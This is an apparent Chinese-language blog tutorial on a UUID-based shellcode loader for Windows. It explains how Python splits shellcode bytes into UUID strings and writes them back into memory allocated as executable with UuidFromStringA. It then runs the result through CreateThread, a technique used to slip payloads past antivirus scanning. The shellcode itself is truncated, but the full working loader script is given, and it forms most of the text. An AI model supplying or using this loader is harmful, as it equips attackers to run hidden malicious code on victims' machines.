UUID: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象.
python中可以利用uuid库中的uuid.UUID()方法来将字节转换为uuid值
在这个函数中,一个\xf4
是一个字节,需要16个字节才能转换成一个uuid值。
ps:当剩下的字节不足16时,可以在尾部通过添加\x00
填充至16字节
import uuid
bincode=b'\xf4\x48.......\x00'
uuid_list = []
for i in range(0,len(bincode),16):
hex_byte = bincode[i:i+16]
uid = uuid.UUID(bytes_le=hex_byte)
uuid_list.append(str(uid))
上述字节转换为uuid时是由16字节转成一个uuid值,所以申请内存时,申请的内存大小为uuid个数的16倍
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(uuid_list)*16, 0x1000, 0x40)
UuidFromStringA
UuidFromStringA函数可以将字符串UUID转换为二进制UUID写入内存
api函数原型:https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
StringUuid 参数指向 UUID的字符串表示形式的指针
Uuid 参数以二进制形式返回指向UUID的指针
ptr是内存指针,表示从从指定指针位置写入
ptr1 +=16,是每一次写入后指针位置的跳转,每写入一个uuid二进制需要将指针移动16个字节
ptr1 = ptr
for j in uuid_list:
ctypes.windll.Rpcrt4.UuidFromStringA(j, ptr1)
ptr1 += 16
接下来就是创建一个进程从shellcode的首地址开始执行即可
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
#coding:utf-8
import uuid
import ctypes
shellcode = b'\xfc\x48\x83........\00\x00\x00'
uuid_list = []
for i in range(0,len(shellcode),16):
cut_bytes = shellcode[i:i+16]
uid = uuid.UUID(bytes_le=cut_bytes)
uuid_list.append(str(uid))
print(uuid_list)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(uuid_list)*16), ctypes.c_int(0x3000), ctypes.c_int(0x40))
ptr1 = ptr
for j in uuid_list:
ctypes.windll.Rpcrt4.UuidFromStringA(j, ptr1)
ptr1 += 16
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
ps:环境python2
【开玩笑没关系,但是切记言多必失。】